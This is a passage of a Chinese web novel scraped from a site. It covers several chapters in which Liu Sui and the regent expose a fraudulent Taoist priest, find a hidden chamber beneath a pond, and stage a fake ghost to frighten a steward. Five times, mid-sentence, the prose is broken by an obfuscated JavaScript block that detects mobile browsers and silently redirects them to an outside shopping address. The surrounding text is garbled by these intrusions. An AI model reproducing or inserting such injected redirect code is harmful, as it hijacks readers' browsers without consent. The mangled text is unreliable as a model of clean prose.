措手不及 其实也不必刻意地打听,柳岁不过才来晏城两日,这道长的名讳就已听了不下十次。 明清道长在晏城可谓大名鼎鼎,尤其有钱人家,都争着抢着请他入府看风水,或是除邪祟。 有风言风语说这清明所居的清明观后山建了座大宅,里面养着不计其数的女子,她们都只有一个共同的特点,就是年轻貌美,最年长的也不超过二十岁。 孙员外为投其所好,经常搜罗女子,晏城和附近的不找,怕她们的家人寻来,也为了杜绝后患,毕竟那些女子最后的下场都很凄惨。 而这孙枝枝据说不光貌美,亦精通诗词歌赋,打小就是晏城有名的才女,可家道中落,她也险些被充当官妓,是孙员外及时出手保下了她,并将人带回府。 孙员外对孙枝枝倒是还算安分,对外就说怜惜孤女,收在膝下为义女,且他百年后,孙府全部家财归孙枝枝所有。 不明真相的百姓对孙员外交口称赞,夸他是大善人,还有些惋惜自己家的赔钱货没孙枝枝这么好的造化。 都传孙枝枝貌似天仙,可真正见过的人没多少,不过是只闻其声不见其人。 “阿昭,你说孙员外原本打算利用孙枝枝勾搭谁?” 柳岁一脸看好戏的表情,也不等景昭辰开口。 “也不知是哪个倒霉催的被孙员外盯上了,啧,你说该不会是他自己喜欢女子,而这道长喜欢男子” 景昭辰对于她时常的脑洞大开习以为常,他老实的摇头。 “不知,岁岁为何觉得这道长喜欢男人?” “女人的第六感吧,你瞧他装扮得分明像个女子,嗯,怎么比喻呢,对,像女装大佬!” 景昭辰不明所以,想问,但见柳岁一眨不眨盯着那道长,不禁挑了挑眉。 “怎么,岁岁觉得这道长比我好看?” 柳岁偏头打量他,一脸坏笑。 “我觉得你要是穿上女装,不知迷倒多少世家公子哥!你这长相真是天上有,人间无!” 景昭辰被气死了,他不过随口开个玩笑,这人就顺杆子爬了。 柳岁扯了扯他的袖管,“阿昭,改日你穿给我一人看看吧!我可太好奇你穿女装是何模样了。” 江树屏住呼吸,尽量减少自己的存在感。 天啦,他都不敢想象摄政王穿女装是什么样的盛况! 别说,他也好奇,好想看,又怕眼睛不保。 明清站在院中央,那神色就如同来自己家一般,他看一眼被红线缠绕的树干,又看看树下摆放的东西,眉头轻轻蹙起。 他语气是明显的不悦,“让摆的茶叶去哪了?这王管家乡野出身,眼皮子就是浅,这点子东西也舍不得。” 柳岁困惑,“孙枝枝刚才不是说他并不知道孙员外死了的消息?” 江树挠了挠头,满脸写着姑娘你聪明一世,糊涂一时的表情。 “对哦,这就是为了招孙员外魂魄的损招,他怎么可能不知道,这孙枝枝满口谎言,确实留不得。” 孙枝枝趴在离她不远的地方,被暗卫点了哑穴,也不敢闹出动静,只是一颗心不停往下坠。 “她与这清明道长必有勾结,为的也不过是财。” 景昭辰淡淡睨了孙枝枝一眼,他的眼神就似在看个死人。 孙枝枝身子不禁抖了抖,身边暗卫手起掌落,直接将人劈晕。 毕竟不能由着她闹出动静,到时再坏了姑娘和爷的大事! “这孙枝枝嘴里的话怕是只能信一半,看来只能咱们自己查清真相了。” 柳岁叹口气,十分怜悯地看一眼晕死过去的孙枝枝,然后腕间紫气瞬间化身为利刃,孙枝枝的喉咙处就多了个血窟窿。 “哎呀,不是让你轻点吗?红红你这样就不讲武德了啊!” 柳岁咂舌,无辜地看一眼景昭辰。 “我真的只是打算戳个小小的洞,你看现在唉,这红红果然还是不服管教啊!” 圣女之力简直无力吐槽,它碍于柳岁的淫威,在没得到她允许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015219|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前又不敢轻易开口,憋屈的整个灵体都不好了。 现在是讨论洞大小的时候吗? 再说了,管它大小,最终结果不还是一样! 孙枝枝怎么也没想到自己聪明反被聪明误,就这么稀里糊涂死了。 明明垂手可得的财宝,她却再也没办法享用了。 当年她的父亲是这晏城的城守,为人清正廉洁,身边也只有母亲一人,她过得虽算不得锦衣玉食,那也是捧在手里怕摔了,含在嘴里怕化了的。 可惜好人不长命,孙员外欲开赌场,曾寻过她父亲合作,可父亲义正言辞拒绝了,并且说会上折参他一本,结果转天他父亲就橫死街头,书房中搜出不少的官银。 这样一来,她父亲从一个人人交口称赞的好官变成了贪官,皇帝对于父亲这种小官自是不会上心,草草结了案,母亲郁结难消,一头撞死在门前。 按例,她该充为官妓,但孙员外这只披着羊皮的狼假惺惺地拦下此事,并收她为义女。 好吃好喝供着,但她却没一点自由,就连出恭都有人跟着。 那些女子死不死的她一点也不关心,她盯上 了常来员外府的明清,且利用他不为人知的秘密作为要挟,两人里应外合,偏孙员外极度信任明清,他的话恨不能供起来。 孙员外这些年一直在服用明清炮制的丹药,说是能长命百岁,实则就是添加了朱砂,长期少量服用,初时会觉得浑身有使不完的力气,渐渐的器官会慢慢衰竭。 孙员外这些年开赌场,又从西域弄来不少的迷幻香,害得城中公子哥成日不着家,一个个像丢了魂,说他家财万贯也不为过,只是,想守住这么多的钱,凭她一个孤女肯定做不到。 于是,她又从明清嘴里听说了方有为,此人是在她父亲死后来的晏城,这么多年,一直与孙员外相安无事,若是得他庇护,名有了,财也有了。 可惜,人算不如天算,柳岁一行人也不知打哪冒出来的,孙员外的意外死亡,打得他们措手不及。 第159章 全听你的 方有为自打出任晏城的城守,为人低调,从不仗势欺人,且一直未娶妻,就连府中下人大半都为男子。 孙枝枝觉得方有为此人可托付终身,于是在孙员外再一次为方有为的圆滑头疼时,提出了自己的想法。 自古英雄难过美人关,何况是方有为这种单身的男子,孙枝枝就不信方有为能拒绝得了。 她对自己极有信心,加上明清道长在一旁帮腔,说什么二人乃是天作之合,而且会对孙员外大有裨益。 孙员外不疑有他。 安排这一场比武招亲,不过是个噱头,都知道孙枝枝是个才女,又貌美如花,怎么可能真的动拳脚。 晏城难得有热闹的事,他们算准了方有为一定会来看热闹,也安排好了给他下迷药的人。 什么都算的万无一失,偏偏柳岁出现了,孙员外不知死活一头撞上去,死的渣都没剩下。 这下子,方有为来没来孙枝枝不知道,她的眼睛里只有柳岁身边的景昭辰。 一眼万年,大概说的就是景昭辰这种男子,清冷又矜贵,身上带着与生俱来的傲气。 于是,孙枝枝又改了主意,逼着景昭辰几人入了员外府。 谁知竹篮打水一场空,人财两失,顺带着连自己的命也搭进去了。 明清这时还不知孙枝枝已死,要是知道,估计得笑出声来,毕竟被人捏住把柄的滋味不好受,再说他也受够了孙枝枝的伎俩,凭借孙员外对他的信任,再加上离不开他手中的丹药,想要财宝不过是时间早晚罢了。 能全部收入囊中,谁又愿意与人分一杯羹,过河拆桥的事人人都做得,他明清也一样做得。 其余下人不是被柳岁差遣着去买饭菜,就是安排去整理厢房,明清在院子里硬是站了半个时辰,也无一人前来招呼。 管家自顾不睱,连床都下不了,大声咳嗽都痛的直抽抽。 “这府上的人呢?你们不知我是何人?还招不招魂了?” 明清不管到谁的府上,都是被人好吃好喝的哄着,还从未受过此等冷落,气得真想掉头就走。 反正招魂本就是骗人的鬼话,只有王霸天这种没多少文化的人才深信不疑。 柳岁不怀好意地笑一声,朝着江树招招手。 江树瞬间觉得汗毛倒竖。 现在他们不怕摄政王发脾气,最怕柳姑娘不怀好意的笑,只要她露出这表情,肯定憋着大招,还是特别损的那种! 果然,下一秒就听柳岁悄悄道。 “江树,我瞧你的身量与孙员外挺像,到时肚子里塞个枕头,至少七八分相似,如此这般,哎,你再过来点。” 江树不情不愿地挪了几下,求救似的看一眼景昭辰,虽然也许并没多大用。 景昭辰侧过头,假装没听到他们的对话。 江树在心中为自己默默点了排蜡。 柳岁说完,江树猛的瞪大眼,难以置信的指着自己的鼻尖。 “姑娘您不是开玩笑吧?您让属下扮鬼?还是扮孙员外?” 柳岁没好气白他一眼。 “喊这么大声是怕那道长听不见?就按我刚说的去办,记得脸上的粉沫厚点,嘴唇描的红一些。” 江树,“姑娘,咱换个人成吗?属下还受着伤呢。” 柳岁却已经不再看他,没事人一样倚在景昭辰的肩头。 “快去吧,离子时还有些时间,足够你做准备了。” 其余暗卫则是掩唇偷笑。 柳姑娘这法子损是损了点,但听着却很有趣的样子,真鬼见不着,看个假鬼也成啊! “我伤着呢” 江树有些委屈巴巴,企图再挣扎一下。 “是觉得今天涂山咬得不对称?要不再让它来一口,你就回房歇着如何?” 江树一声不吭,闪身消失在夜色中。 被吩咐跑腿买饭菜的人回来了,才进院就被打晕绑了起来,丢到一边的柴房。 景昭辰的暗卫则带着这些还冒着热气的饭菜跃上屋顶。 “爷,柳姑娘饭菜买回来了,可是,要在哪里用饭?” 景昭辰风餐露宿惯了,并不在意这些,就是担心柳岁这两天睡不好,吃不好,这脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015220|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气就会跟着蹭蹭的臭。 柳岁盘膝而坐,“如此幕天席地倒也不失为一种情趣,顺便还能吹吹凉风,观月赏星,阿昭你说呢?” 景昭辰笑一声,曲指弹了弹她的脑门。 “全听你的。” 暗卫们简直没眼看,自家爷在妻管严的路上越走越远,九头牛都拉不回来的那种。 但凡柳岁开口征求意见,景昭辰的回答就永远只有一个:本王全听岁岁的! 所以暗卫们现在都想破脑袋地讨好柳岁,毕竟日后等她成了摄政王妃,摄政王在府中肯定更没地位了,说不定把柳岁哄高兴了,她到时还能涨涨他们的月例。 饭菜摆好,景昭辰无语地看一眼暗卫们,他们则心虚的盯着脚尖。 柳岁面前摆着的八个荤菜,还有碗加了桂花的燕窝粥。 景昭辰面前就很一目了然了,两个素菜,一碗蛋花汤 柳岁忍笑,夹起面前的排骨放到景昭辰碗中。 “ 都吃饭,今天还得熬夜看大戏,得保持体力。” 有暗卫蹲着,抱着个大碗。 “柳姑娘,要不要属下去给您拿些小零嘴,戏楼子里听曲都有这些的。” 柳岁笑,眼睛弯起来。 “好啊,那就多谢了,今日这出戏唱完,一人赏一两银子,对了,我看你们的衣裳也旧了,反正晏城的事一时半会的也解决不了,明天全去裁几身新的。” 她身边的人,出门必须得有范儿,人靠衣装马靠鞍! 景昭辰只低头吃饭,动作优雅,几乎听不见咀嚼的声音。 “既然来了就一起看戏。” 他没回头,又夹了一筷子青菜放到柳岁碗里。 “荤素搭配才有营养,多吃些,这几日你又清减了,还要赶路,别只顾着别人。” 方有为尴尬的从暗处出来,准确的说是爬出来的,毕竟站起来实在太过显眼了。 柳岁实在没忍住,捂着嘴笑得上气不接下气。 “阿昭,这就是你要带我见的人?我猜猜,可是城守方有为方大人?” 第160章 水塘的玄机 方有为有些尴尬,以这样的姿势见面,对方还是个漂亮的如同不食人间烟火的仙女。 他与景昭辰一样,都是在沙场上厮杀过的,很少接触女子,唯一的一个是他娘在乡下给他定下的,可惜,那么好的女子却因为没钱看郎中死了。 所以这些年他一直都未再娶,倒不是说对那未过门的妻子有多深厚的感情,只是从内心里多少有些恐惧。 都说他命里带煞,他不能牵连人家姑娘平白无故丢了性命。 加上他是景昭辰的人,几经辗转才留在晏城,不大不小的城守一职,对于想低调的他们来说,刚刚好。 今晚十五,月亮高悬,屋顶上投下斑驳的光线,影影绰绰的槐树怎么都有些诡异。 “可不敢称大人,您就叫我一声方有为就好。” 景昭辰已经吃饱,懒懒的半撑着头,凤眸微微眯起。 “这明清你可识得?” 方有为点头,“这可是晏城的名人,只要有点钱的人家,都请他去做过法。” 他顿了顿,改趴为坐。 “说来也奇怪,这人是三年前出现在清明观的,然后从前的老道长就突然不知所踪,好端端的晏城三天两头的闹鬼,只要经他施法的人家,就再无怪事发生,所以那清明观的香火一下就旺盛起来,不说逢年过节,就是平常,那香客也是络绎不绝。” 景昭辰勾唇冷笑,讥讽扫一眼方有为。 “你在这也有五六年了吧,该查的事一件都没头绪,这不痛不痒的事倒是一清二楚。” 方有为有些尴尬地挠了挠头。 “也不是,只是线索总是突然就断了,您今日也亲眼看了孙员外这府邸,我的人不知折了多少,只知有个暗室,却不知入口在何处。” 暗卫又轻轻跃上屋顶,手里拎着个大大的竹篮子。 他猫着腰走到柳岁身边,把篮子里的东西一一摆出来。 柳岁一看,顿时乐了。 瓜子、花生、桂花糕、水果,竟还有一壶甜酿,也不知都是打哪顺来的。 方有为的注意力被吸引过去,定睛,不禁目瞪口呆。 这是上屋顶开茶话会了? 景昭辰最讨厌在做正事的时候有人不专注,通常和他们谈事,有时连杯茶也没空喝。 可见景昭辰,明显没一点要生气的意思,反而很享受地张嘴咬住柳岁递来的点心。 “好吃吗?” 景昭辰点头,又就着她的手咬了一小口。 “好吃,甜而不腻,就是我不太喜欢这桂花浓郁的味道。” 柳岁两颊塞得鼓鼓的,一双眼笑得眯成条缝。 景昭辰最喜欢她这模样,可爱灵动又不造作。 他最烦参加宫宴,看到那些闺阁女子吃东西矫揉造作的样就大失胃口,一桌子怎么端上来,最后还是原样撤下去。 既然不吃,干脆一人发一壶热茶,省得御膳房忙活那么久,浪费珍稀的食材。 皇兄就总说他不解风情,不了解女子的心思。 他又不娶她们,管她们是何心思。 皇兄倒是懂,为了权衡朝党,来者不拒,那肚子大的仿佛随时会爆开。 柳岁吃东西不算斯文,但也绝不粗俗,跟她在一起,不自觉地就能多吃些,就是野菜也能被她吃出满汉全席的感觉。 景昭辰拿起个苹果,随手在袖子上蹭了蹭才递给柳岁。 方有为感觉自己整个人都不好了。 这还是他认识的摄政王吗? 体贴入微,不拘小节,仿佛从前那个有严重洁癖的人不是他。 柳岁咬一口,眉头微不可察地皱了皱。 她把苹果塞到景昭辰手里。 “特别甜,你快尝尝。” 景昭辰不疑有他,咬了一大口,酸得五官都有一瞬间的扭曲。 “咳咳,这苹果为何这么酸?” 他拧一把柳岁的脸蛋,眼里满是笑意。 柳岁看向拿东西过来的暗卫。 “这苹果你从哪拿的?” 暗卫不解,也拿起一只咬一口,这味道真是上头! 原本还有些困意,此刻精神抖擞。 “回姑娘,属下见后院的小厨房放着一筐,就捡了些红的拿过来了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015221|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳岁想了想,“后院有果树吧?按说这府里槐树长得这么好,果子成熟之后也不该是这个味道,除非后院的土壤有问题。” 造成苹果过酸的原因,除了未熟透,再来就是生长的土壤酸化,造成这种情况的,除了人为,就是地下埋有某些金属元素 槐树也不适合在酸度过大的土壤里生存。 那就只有一个原因,后院有问题! 准确地说,后院的地下肯定埋着什么。 这宅子虽说阴气森森,但是打理得都不错,只有后院那片荒废之地,好好的水塘里全是浮萍水草,但却闻不见一丝腥臭味,证明那是活水,非做出荒废许久的样子,是为了掩人耳目。 “阿昭,我大概知道你们要寻的暗室在哪个位置了。” 她指了指后院的方向。 “还记得咱们来时看到的那个水塘吗?” 景昭辰略一思索,立刻会意 。 “那水塘看着是被废弃了的,但却没臭味。” 也无需两人多说,方有为赶忙吩咐自己的护卫。 “趁乱去瞧瞧,都小心着些。” 柳岁叫住他们,掏出个瓶子丢过去。 “万一觉得头晕恶心就含一粒在舌下,那里既然是暗室的入口,机关、毒气少不了的。” 她又看一眼方有为,“估计你之前派来的人都是这么死了的,事情当然要做,但前提是要保证万无一失,保住他们性命才最重要,毕竟大家都一样,只有一条命,珍贵着呢!” 方有为惭愧地垂下头,不敢看景昭辰。 “是,方某受教了,之前是我大意了,只想着会有机关,其他的没考虑那么仔细。” 方有为的护卫大受感动,一再道谢后闪身离开。 原来他们这样的人,命也是这么重要的吗? 他们虽非死士,其实也差不多,签了死契的人,背叛的结果一样是死,而且下场还会更惨。 按照柳岁所说,他们很快在水塘发现了玄机。 水是活的,流动很缓慢,加之上面飘着浮萍,若不仔细观察,一般人还真注意不到。 第161章 水晶棺 他们几人潜下去才发现水塘的周围布着竹管,上高下低,并不明显,一边流着活水,低的一端竹管更细,所以水的高度似乎永远没变化。 也不知是谁想的法子,倒是心思玲珑。 只是柳姑娘不过咬了一口苹果,就能发现其中端倪,不得不说其聪慧程度非常人可及。 渐渐的他们觉得视线开始模糊,原本还算清澈的水底似被雾气笼罩。 他们依柳岁的交代,每人手腕处都绑了个铜铃,看不清彼此,但能听到声音,心里多少没那么害怕。 “咕噜咕噜,药” 有人提醒,声音听不太清,但大家还是默契地把药含在嘴里。 这药也不知如何炮制的,入水这么久竟也没化开。 药丹在嘴里含着,也不是马上就融化,带着一丝丝甜味,却让发晕的脑袋清醒了不少。 烟雾越聚越多,他们的胸腔再没有出现刚才的刺痛感。 他们的心中对柳岁的感激又上升了一个高度。 人生来就一条命,这个无分贵贱,如果自己都不珍惜自己,怎么能指望别人来关心。 柳岁不知道自己随口的一句话,竟成了他们人生的座右铭,日后很多危险的时刻里,他们的脑海中都会自动浮现出这句话,也是因为这句话,让他们一次又一次死里逃生。 这是后话,暂且按下不提。 水塘看起来不大,可下面大有乾坤,五人搜寻了好久,才发现了一处被水草遮的严严实实的石门。 他们五人对于暗室、秘道一类的很是熟悉,不过盏茶功夫就发现了破解石门之法。 转动内里小圈,对应天干地支,与外圈的齿轮严丝合缝地对上,石门缓缓打开。 闪着寒芒的箭矢,夹杂在一片烟雾中朝着他们铺天盖地袭来。 有闪躲不及的,很快见了血。 多亏了嘴里含着的药丸,不过皮外伤,对他们来说习以为常。 倒是这迷烟,估计之前的兄弟就是把命折在了这。 要是早一点认识柳姑娘就好了,这几年,几十个兄弟的命搭在了这里面,结果还是一无所获。 看来冥冥之中自有安排,老天爷是不忍心收了他们几个。 暗室中很安静,也不知还用了什么巧妙的法子,汉白玉的地面一点水渍也没有,四周墙壁上嵌着拳头大小的夜明珠,把这里照得亮若白昼。 紫黑的气不断地翻涌,正中摆着具水晶棺,周围或坐或躺着几具发黑的骸骨。 有人指了指上方,“也不知是哪个高人设计的这间密室,那上面应该是透气用的,竟然也不会渗水,不得不赞一句高明。” 几人围拢过去,水晶棺中躺着个俊美的男子,一张脸白得吓人,睫毛长而卷翘,唇虽失了血色,却呈现好看的花瓣状。 这人若是醒着,妥妥的绝世美男! 摄政王也生得好,却少了这男子的几分病弱美。 几人面面相觑,围着水晶棺走了好几圈,暂时没发现有机关。 手才放到棺盖上,就被冷得一个哆嗦。 “怎么这么凉啊?这密室温度也不算低,好冷,这要带上去让他们看看如何处置吗?” 有人不赞同,“这水晶棺摆在这肯定有问题,按说能被藏得这么隐蔽的东西,不该轻易得手才是,可你们看,没暗器没机关。” “是啊,万一挪动触动了什么,咱们丢命是小,坏了主子和摄政王的大事怎么办?” 几人商量一番,最终还是决定先回去禀告这下面的情况,至于这副水晶棺,等摄政王他们看过再行决定。 最后几人一人扒拉一颗夜明珠握在手里,视线不再受阻,出去倒比进来时容易了许多。 几人湿答答站在屋顶时,柳岁都已经开始犯困了,头一点一点地。 景昭辰托着她的脑袋,轻轻放在自己的肩上。 几人还未开口,下面的明清大喝一声,把他们吓得一个激灵,齐齐趴倒。 “人呢?都死了?把管家给本道长抬到院子里来!” 府中护卫木着脸,把已经痛得死去活来的管家架到树边的木床上。 木床太硬,管家才喘口气,就又疼得倒吸了好几口冷气。 “明清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015222|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳咳,道长,这招鬼是你的事,为何要折腾我?你也瞧见我如今的情况了,好好养着也不一定能活过明天!” 他疼,自然语气就不好。 明清一脸不虞。 “问出了内里乾坤,得益的人也是你,本道长没嫌麻烦,你倒叫唤上了!你若觉得不妥,本道长走就是。” 他拔腿就走,别说树上缠几根红棉线,你他妈就是缠一院子,孙员外也回不来了! 他现在估计早都过了奈何桥,连自个姓甚名谁都忘了。 然后,他的眼睛猛的睁圆,身子僵硬看着拱门的方向。 绿色的光晕慢慢浮动,里面似乎还有跳动着的火焰。 “鬼火啊!” 有人没忍住叫了一声,旋即赶紧捂上嘴,一脸惊恐。 火焰继续朝他们的方向跳跃,好似长了眼睛般,最后停在管家的正前方。 管家吓得几乎忘了呼吸,一颗心跳的飞快, 被吓的! “员外是您吗?小的小的就是怕您有未了的心愿,这才让明清道长招您的魂魄前来一叙” “唔原来如此!本员外竟不知管家如此忠心,从前倒是没发现。” 那声音若隐若现,偶尔还伴着狞笑,听得管家起了一身的鸡皮疙瘩。 “小人的真心日月可鉴” 说话声突然又凭空消失,呜呜的风声,隐约传来镣铐声。 “啊,是黑白无常来索命了!快逃啊!” 叫的声音大,但没一人敢挪动半分。 因为,前方起了白色的氤氲迷雾,影影绰绰间,一黑一白两个影子一跳一跳朝这里而来。 有人直接吓尿了,更多的人后背死死抵着墙,仿佛这样就不会被捉走。 “真。。。。真的是黑白无常咱们今天小命难保了。” 刚才还困得七荤八素的柳岁,现在目光灼灼,手里不知何时已经抓了把瓜子。 “不错不错,江树这领悟力真是可以,还挺像那么回事的!” 她用胳膊肘戳了戳景昭辰。 “这个必须要赏!” 第162章 孙员外的魂魄? 古木参天,树影憧憧。 江树自迷雾中走出,准确说是飘出来的。 血自他的身上滴答滴答落下来。 院中所有人早就吓得无法动弹,就连一贯眼高于顶的明清也被眼前这一幕惊得久久无法回神。 他现在只想说一句:卧槽,真的把孙员外的魂魄招回来了? 不可能啊。 他本来就是假道士,不过就是用这身份隐藏秘密罢了,至于那什么狗屁仙丹,山上随便一把野草捣碎,再加入朱砂,一颗就价值百金。 晏城有钱人不少,但最好骗的当属孙员外,真正是人傻钱多的主,不知从他这买了多少仙丹。 一开始一日一粒,后来觉得精神不济,跟吃糖豆子似的,一把一把往嘴里塞。 明清都怕他不被毒死,也迟早会噎死。 他出神,管家却吓得双腿一软,直接跪了下去,头在地上磕得嘭嘭作响。 江树眼色抽了抽,不着痕迹摸一把自己的额头。 管家不敢抬头,实在是江树装扮得太过吓人,血舌头一晃一晃地,血顺着嘴角往下流。 他原本有些怀疑明清的本事,但现在最后的一丝怀疑也全部散去。 “老爷,小人是王霸天啊,您还识得小人吗?您若有冤屈定要去找那害您之人,小人真是一心为您啊!” 他痛哭流涕,使劲捶打着胸脯,一副死了老子的模样。 江树在心中冷笑一声。 这龟孙子演技还怪好的哩! 不明真相的外人看了,还以为他这是死了亲爹! 江树嘴中发出桀桀的怪笑声,听得人头皮发麻。 “你这吃里扒外的混账东西,伙同孙枝枝那小贱人想要谋财害命,以为本员外不清楚?“ 王霸天此时早就吓得七魂不见了六魄,听到江树所言,那脑袋摇得跟拨浪鼓似的。 “老爷这您就冤枉小人了,小人在员外府七八年,没有功劳也有苦劳,真的从未惦记过您密室里的宝贝” 他猛的顿住,一把捂住自己的嘴。 江树冷哼,飘到他身边,一把掐住他的脖子,将人拎到半空。 四目相对,江树听到有水滴落的声音,微一低头,嫌弃地松开手。 就这点胆子,是怎么敢觊觎孙员外的万贯家财? “小的小的冤枉啊!小人说,都是那孙枝枝搞的鬼,真的与小人无关啊!” 反正孙枝枝也不知是死是活,再说孙员外在府里都不拿正眼看她,她说的话自然也无足轻重。 “啪——嘭——” 孙枝枝的尸体掉落在管家身侧,眼睛圆睁,喉咙上有个血洞。 “啊啊啊——鬼啊——” 管家手脚并用,拼命想爬回主屋。 一条体型肥硕的蛇死死盯着他,仔细看,眼睛一只红一只绿,散发着幽幽的寒气。 管家回头看一眼死不瞑目的孙枝枝,又看一眼飘在半空形容恐怖的孙员外,想到自己将来面临的下场,一颗心沉入谷底。 听到头顶上方传来诡异又飘忽的声音。 “你们进本员外的密室了?” 管家摆手,“没有没有,孙枝枝是想与小人合作找出密室所在,但小人拒绝了。” 他吓得浑身哆嗦,一个劲的解释。 “您收的那些妾室,但凡通水性的都被孙枝枝逼着下了水,最后都没上来” 江树心道好家伙,你这直接就说出来密室所在了啊,还真是个忠心的管家。 他偷偷往屋顶瞧一眼,天太黑,什么也看不到,也不知爷和柳姑娘有没有听到。 江树垂眸,自上而下睥睨着他。 “你们竟敢私下寻找密室,可知那里面放着什么?也是你们这种人敢觊觎的?” 管家嗫嚅,“不。。。不知,孙枝枝只说能寻到财宝会分给小人一半,其他的她真的没说啊!” 明清眉头拧紧,眼中情绪晦暗不明。 他得想个法子,在管家说出更多前把他灭口。 他虽然有着不为人知的秘密,但是对于投怀送抱的女子也是来者不拒,尤其孙枝枝这种自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015223|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视甚高的才女。 现在回味起来,那滋味也是令他浑身酥麻。 一个养在闺阁的女子,也不知打哪学来的那些狐媚子手段,勾得人心痒难耐,不自觉地就应下了她的要求。 那般可人儿,只着一件肚兜,躺在身下低声呢喃,他一时被迷晕了头,自然是有求必应。 管家撞见过几回他们私会,最后孙枝枝也给了他一点甜头,他这才答应为他们二人保密,何况多一个人,此事成功的可能性就更大。 他也不会娶孙枝枝,而这女人还不如为达目的,在多少男子身下辗转成欢,自然也不会嫁给他这种盗用别人身份的假道长。 二人臭味相投,一拍即合。 所有的事都在他们的计划中有条不紊地进行着,眼见那孙员外的精神越来越萎靡,到了一离开仙丹就会烦躁不安的地步。 孙员外对明清道长言听计从,生怕惹他不高兴,直接断了自己保命的仙丹。 其实孙员外除了肥胖,身体没什么大的毛病。 可惜,他听从了明 清的话,每日大鱼大肉,又懒得走动,加上仙丹本就百害无一利,就算柳岁不杀他,他也活不过今年。 好几次,他睡得朦朦胧胧间,嘴中都会不断念叨什么水晶,玄铁。 孙员外搜罗女子,时间久了,自然也会有格外宠爱的,可她嫌弃孙员外年龄大,胖得像个球,最后与明清看对眼。 眉来眼去间,明清温声软语哄骗着,那女子就对他死心塌地。 于是,即使他不在员外府的日子,孙员外的一举一动,甚至早起打了几个喷嚏,他都了如指掌。 后来那女子趁着孙员外醉酒,想借机问出密室所在,谁知孙员外跟中邪了似的,人是醉着的,却一刀把那女人捅了个对穿。 至于她那晚到底知道了孙员外什么了不得的秘密,除非追去黄泉。 明清和孙枝枝只得另想办法,虽然猜到密室应该在水塘之下,但二人皆不通水性,而且逼着下水的女子,一个也没能回来,他们就更加不敢拿自己的小命开玩笑。 第163章 龌龊的往事 事情一拖再拖,孙枝枝都要比武招亲了,他们还是一筹莫展。 明清不知从哪里知道个药方子,说是服用之后,顶多半个时辰,就会吐露真言。 孙员外吃是吃了,结果他色胆包天,对柳岁生出了龌龊心思。 而且他身边一直有个神秘人存在,明清与他却从未打过照面。 明清从前就是个孤儿,后来要饭,因其长得清秀,经常被一些公子哥调戏,渐渐地,他竟迷恋上这种感觉。 直到,遇到他! 他对他简直如痴如醉,一日不见如隔三秋。 可惜,他也不知是孙员外的什么人,偶尔出一回门,马车后面都恨不能跟二十个护卫,这还不包括暗中保护的。 明清就盯上了常来晏城讲经论道的白胡子道长。 道长怜他身世可怜,经常带着斋饭给他,省出不多的银钱为他购置新衣新鞋。 但他低估了人的占有欲。 越接近,明清对那公子就越喜爱,甚至疯狂到为看他一眼,在大雨中等一天一宿。 机会终于还是被他等到了。 老道长说孙员外府上怪事频发,想要请观中的道士们一同前去讲经,用以驱邪,其实就是为了安心。 明清毫不犹豫地一石头敲死了老道长,拿了他随身之物,只说他是老道长收的关门弟子。 老道长经常会去各地云游论道,其余弟子不疑有他,明清就这样蒙混过关,正式成为观中弟子,并且名正言顺管理起道观。 入员外府那一日,他记得非常清楚,艳阳高照,喜鹊在枝头叽叽喳喳地叫。 一切看起来都如此美好。 明清心生向往,一颗心早就飞到了员外府。 